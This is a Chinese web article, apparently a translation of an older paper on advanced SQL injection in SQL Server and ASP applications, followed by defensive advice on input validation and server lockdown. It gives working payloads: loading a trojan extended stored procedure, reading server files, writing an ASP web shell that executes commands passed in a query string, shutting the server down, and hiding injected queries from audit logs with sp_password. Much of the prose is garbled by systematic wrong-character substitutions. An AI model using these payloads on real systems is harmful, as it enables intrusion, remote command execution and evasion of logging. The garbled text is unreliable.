设为主页 | 加入收藏 | 繁體中文

SQL Server应用程序高级SQL注入预防入侵


  [Custom extended stored procedures]
  扩展存储过程应用步伐接口是相当简单的,创建一个携带歹意代码的扩展存储过程动态连接库是一个相当简单的使命。使用下令行有几个要领可以上传动态连接库到SQL办事器上,另有其它包括了多种主动通讯的通讯机制,好比HTTP下载和FTP剧本。
  一旦动态连接库文件在呆板上运转即SQL办事器能够被访问——这不必要它自己是SQL办事器——打击者就能够使用下面的下令添加扩展存储过程(这种情况下,我们的歹意存储过程就是一个能输入办事器的系统文件的小的木马):
  Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll'
  在正常的方式下,这个扩展存储过程可以被运转:
  exec xp_webserver
  一旦这个步伐被运转,可以使用下面的要领将它除去:
  xp_dropextendedproc 'xp_webserver'
  [将文本文件导入表]
  使用'bulk insert'语法可以将一个文本文件拔出到一个暂时表中。简单地创建这个表:
  create table foo( line varchar(8000) )
  然后实行bulk insert操作把文件中的数据拔出到表中,如:
  bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
  可以使用上述的错误消息技术,或者使用'union'选择,使文本文件中的数据与应用步伐正常返回的数据联合,将数据取回。这个用来获取寄存在数据库办事器上的剧根源代码或者ASP剧本代码黑白常有用的。
  [使用bcp建立文本文件]
  使用'bulk insert'的相对技术可以很容易建立恣意的文本文件。不幸的是这必要下令行工具。'bcp',即'bulk copy program'
  既然 bcp可以从SQL办事进程外访问数据库,它必要登陆。这代表失掉权限不是很困难,既然打击者能建立,或者使用整体安全机制(要是办事器设置装备摆设成可以使用它)。
  下令行格式如下:
  bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
  'S'参数为实行查询的办事器,'U'参数为用户名,'P'参数为暗码,这里为'foobar'
  [ActiveX automation scripts in SQL SERVER]
  SQL SERVER中提供了几个内置的容许创建ActiveX主动实行剧本的存储过程。这些剧本和运转在windows剧本表明器下的剧本,或者ASP剧本步伐一样——他们使用VBScript或JavaScript书写,他们创建主动实行工具并和它们交互。一个主动实行剧本使用这种要领书写可以在Transact-SQL中做任安在ASP剧本中,或者WSH剧本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:
  (1)这个例子使用'wscript.shell'工具建立了一个记事本的实例:
  wscript.shell example
  declare @o int
  exec sp_oacreate 'wscript.shell',@o out
  exec sp_oamethod @o,'run',NULL,'notepad.exe'
  我们可以通过指定在用户名背面来实行它:
  Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—
  (2)这个例子使用'scripting.filesystemobject'工具读一个已知的文本文件:
  --scripting.filesystemobject example – read a known file
  declare @o int, @f int, @t int, @ret int
  declare @line varchar(8000)
  exec sp_oacreate 'scripting.filesystemobject', @o out
  exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
  exec @ret=sp_oamethod @f,'readline',@line out
  while(@ret=0)
  begin
  print @line
  exec @ret=sp_oamethod @f,'readline',@line out
  end
  (3)这个例子创建了一个能实行通过提交到的任何下令:
  -- scripting.filesystemobject example – create a 'run this'.asp file
  declare @o int,@f int,@t int,@ret int
  exec sp_oacreate 'scripting.filesystemobject',@o out
  exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1
  exec @ret=sp_oamethod @f,'writeline',NULL,'<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>'
  必要指出的是要是运转的情况是WIN NT4+IIS4平台上,那么通过这个步伐运转的下令因而系统权限运转的。在IIS5中,它以一个比力低的权限IWAM_XXXaccount运转。
  (4)这些例子阐述了这个技术的实用性;它可以使用'speech.voicetext'工具惹起SQL SERVER发声:
  declare @o int,@ret int
  exec sp_oacreate 'speech.voicetext',@o out
  exec sp_oamethod @o,'register',NULL,'foo','bar'
  exec sp_oasetproperty @o,'speed',150
  exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
  waitfor delay '00:00:05'
  我们可以在我们假定的例子中,通过指定在用户名背面来实行它(注意这个例子不但仅是注入一个剧本,同时以admin权限登陆到应用步伐):
  Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--
  [存储过程]
  传说要是一个ASP应用步伐在数据库中使用了存储过程,那么SQL注入是不行能的。这句话只对了一半,这要看ASP剧本中调用这个存储过程的方式。
  素质上,要是一个有参数的查询被实行 ,而且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不行能发生的。但是要是打击者高兴影响所实行查询语句的非数据部分,这样他们就大概能够控制数据库。
  比力好的常规的尺度是:
  ?要是一个ASP剧本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够惹起SQL注入的缺点。
  ?要是一个ASP剧本使用一个过程工具限定参数的往存储过程中分配(比方ADO的用于参数收集的command工具),那么通过这个工具的实行,它一样平常是安全的。
  明显地,既然新的打击技术始终地被发现,好的惯例仍然是验证用户全部的输入。
  为了阐明存储过程的查询注入,实行以下语句:
  sp_who '1' select * from sysobjects
  or
  sp_who '1';select * from sysobjects
  任何一种要领,在存储过程后,追加的查询依然会实行。
  [初级SQL注入]
  通常情况下,一个web应用步伐将会过滤单引号(或其他标记),或者限定用户提交的数据的长度。
  在这部分,我们讨论一些能帮助打击者饶过那些明显防范SQL注入,躲避被记载的技术。
  [没有单引号的字符串]
  有时间开辟人员会通过过滤全部的单引号来掩护应用步伐,他们大概使用VBScript中的replace函数或类似:
  function escape(input)
  input=replace(input,"'","''")
  escape=input
  end function
  无可否定地这防止了我们全部例子的打击,再除去';'标记也可以帮很多忙。但是在一个大型的应用步伐中,好象个体值盼望用户输入的是数字。这些值没有被限定,因而为打击者提供了一个SQL注入的缺点。
  要是打击者想不使用单引号产生一个字符串值,他可以使用char函数,比方:
  insert into users values(666,
  char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
  0xffff)
  这就是一个能够往表中拔出字符串的不包罗单引号的查询。
  漠然,要是打击者不介怀使用一个数字用户名和暗码,下面的语句也异样会起作用:
  insert into users values(667,
  123,
  123,
  oxffff)
  SQL SERVER主动地将整型转化为varchar型的值。
  [Second-Order SQL Injection]
  即使应用步伐总是过滤单引号,打击者依然能够注入SQL异样通过应用步伐使数据库中的数据反复使用。
  比方,打击者大概使用下面的信息在应用步伐中注册:
  Username:admin'—
  Password:password
  应用步伐正确过滤了单引号,返回了一个类似这样的insert语句:
  insert into users values(123,'admin''—','password',0xffff)
  我们假设应用步伐容许用户修改自己的暗码。这个ASP剧本步伐起首保证用户设置新暗码前拥有正确的旧暗码。代码如下:
  username = escape( Request.form("username") );
  oldpassword = escape( Request.form("oldpassword") );
  newpassword = escape( Request.form("newpassword") );
  var rso = Server.CreateObject("ADODB.Recordset");
  var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
  rso.open( sql, cn );
  if (rso.EOF)
  {
  …
  设置新暗码的代码如下:
  sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
  rso("username")为登陆查询中返回的用户名
  当username为admin'—时,查询语句为:
  update users set password = 'password' where username='admin'—'
  这样打击者可以通过注册一个admin'—的用户来根据自己的想法来设置admin的暗码。
  这是一个非常严重的问题,目前在大型的应用步伐中试图去过滤数据。最好的办理要领是拒绝合法输入,这胜于简单地高兴去修改它。这有时会导致一个问题,合法的字符在那边是须要的,比方在用户名中包罗'标记,比方
  O'Brien
  从一个安全的看法来看,最好的解答是但引号不容许存在是一个简单的究竟。要是这是无法接受的话,他们仍然要被过滤;在这种情况下,保证全部进入SQL查询的数据都是正确的是最好的要领。
  要是打击者不使用任何应用步伐莫明其妙地往系统中拔出数据,这种方式的打击也是大概的。应用步伐大概有email接口,或者大概在数据库中可以存储错误日记,这样打击者可以高兴控制它。验证全部数据,包括数据库中已经存在的数据始终是个好的要领。确认函数将被简单地调用,比方:
  if(not isValid("email",request.querystring("email"))) then
  response.end
  或者类似的要领。
  [长度限定]
  为了给打击者更多的困难,有时输入数据的长度是被限定的。当这个拦阻了打击时,一个小的SQL可以造成很严重的危害。比方:
  Username:';shutdown—
  这样只用12个输入字符就将制止SQL SERVER实例。另一个例子是:
  drop table
  要是限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定16个字符,暗码也被限定16个字符,那么下面的用户名和暗码联合将会实行下面提到的shutdown下令:
  Username:aaaaaaaaaaaaaaa'
  Password:'; shutdown—
  缘故原由是应用步伐尝试去过滤用户名最后的单引号,但是字符串被切断成16个字符,删除了过滤后的一个单引号。这样的结果就是要是暗码字段以单引号开始,它可以包罗一些SQL语句。既然这样查询看上去是:
  select * from users where username='aaaaaaaaaaaaaaa'' and password=''';shutdown—
  实际上,查询中的用户名已经变为:
  aaaaaaaaaaaaaaa' and password='
  因而最后的SQL语句会被实行。
  [审计]
  SQL SERVER包罗了丰富的容许记载数据库中的种种事件的审计接口,它包罗在sp_traceXXX类的函数中。特别故意思的是能够记载全部SQL语句,然后在办事器上实行的T-SQL的事件。要是这种审计是被激活的,我们讨论的全部注入的SQL查询都将被记载在数据库中,一个熟练的数据库管理员将能够知道发生了什么事。不幸地,要是打击者追加以下字符串:
  Sp_password
  到一个Transact-SQL语句中,这个审计机制记载日记如下:
  --'sp_password' was found in the text of this event.
  -- The text has been replaced with this comment for security reasons.
  这种举动发生在全部的T-SQL日记记载中,即使'sp_password'发生在一个解释中。这个过程打算通过sp_password隐蔽用户的暗码,但这对付一个打击者来说黑白常有用的要领。
  因而,为了隐蔽全部注入,打击者必要简单地在'—'解释字符后追加sp_password,比方:
  Username:admin'—sp_password
  究竟上一些被实行的SQL将被记载,但是查询自己将顺利地从日记中消失。
  [防范]
  这部分讨论针对记述的打击的一些防范。我们将讨论输入确认和提供一些简单的代码,然后我们将从事SQL SERVER锁定。
  [输入验证]
  输入验证是一个庞大的题目。比力有代表性的是,自从过于严密地确认偏向于惹起部分应用步伐的暂停,输入确认问题很难被办理,在项目开辟中投入很少的注意力在输入确认上。输入确认不是偏向于将它加入到应用步伐的功能当中,因而它一样平常会被轻忽。
  下面是一个含有简单代码的讨论输入确认的纲要。这个简单的代码不能间接用于应用步伐中,但是它十分清楚地阐明了不同的策略。
  不同的数据确认要领可以按以下分类:
  1) 高兴修改数据使它成为正确的
  2) 拒绝被认为是错误的输入
  3) 只吸收被认为是正确的输入
  第一种情况有一些概念上的问题;起首,开辟人员没须要知道那些是错误数据,因为新的错误数据的形式始终被发现。其次,修改数据会惹起下面描述过的数据的长度问题。最后,二次使用的问题包括系统中已经存在数据的重新使用。
  第二种情况也存在第一种情况中的问题;已知的错误输入随着打击技术的发展变革。
  第三种情况大概是三种中最好的,但是很难实现。
  从安全角度看归并第二种要领和第三种要领大概是最好的要领——只容许正确的输入,然后搜索输入中已知的错误数据。
  带有连接标记的姓名的问题对付体现归并两种要领的须要性是一个好的例子:
  Quentin Bassington-Bassington
  我们必需在正确输入中容许连接标记,但是我们也意识到字符序列'—'对SQL SERVER很重要。
  当归并修改数据和字符序列确认时,会呈现另一个问题。比方,要是我们应用一个错误过滤在除去单引号之后去探测'—','select'和'union',打击者可以输入:
  uni'on sel'ect @@version-'-
  既然单引号被除去,打击者可以简单地分布单引号在自己的错误的字符串中躲避被发现。
  这有一些确认代码的例子:
  要领一——过滤单引号
  function escape(input)
  input=replace(input,"'","''")
  escape=input
  end function
  要领二——拒绝已知的错误输入
  function validate_string(input)
  known_bad=array("select","insert","update","delete","drop","—","'")
  validate_string=true
  for i=lbound(known_bad) to ubound(known_bad)
  if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
  validate_string=false
  exit function
  end if
  next
  end function
  要领三——只容许正确的输入
  function validatepassword(input)
  good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
  validatepassword=true
  for i=1 to len(input)
  c=mid(input,I,1)
  if(InStr(good_password_chars,c)=0) then
  validatepassword=false
  exit function
  end if
  next
  end function
  [SQL SERVER锁定]
  在这指出的重要一点是锁定SQL SERVER是须要的;表面的是不安全的。这是一个但创建SQL SERVER时必要做的事情的简短的列表:
  1.确定连接办事器的要领
  a.确定你所使用的网络库是可用的,那么使用"Network Utility"
  2.确定哪些帐户是存在的
  a.为应用步伐的使用创建一个低权限的帐户
  b.删除不须要的帐户
  c.确定全部帐户有强壮的暗码;实行暗码审计
  3.确定哪些工具存在
  a.很多扩展存储过程能被安全地移除。要是这样做了,应该移除包罗在扩展存储过程代码中的'.dll'文件
  b.移除全部示例数据库——比方'northwind'和'pubs'数据库
  4.确定哪写帐户能过使用哪些工具
  a.应用步伐进入数据库所使用的帐户应该有保证能够使用它必要的工具的最小权限
  5.确定办事器的补丁
  a.针对SQL SERVER有一些缓冲区溢出和格式化字符串打击,也有一些其他的安全补丁公布。应该存在很多。
  6.确定什么应该被日记记载,什么应该在日记中结束。
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: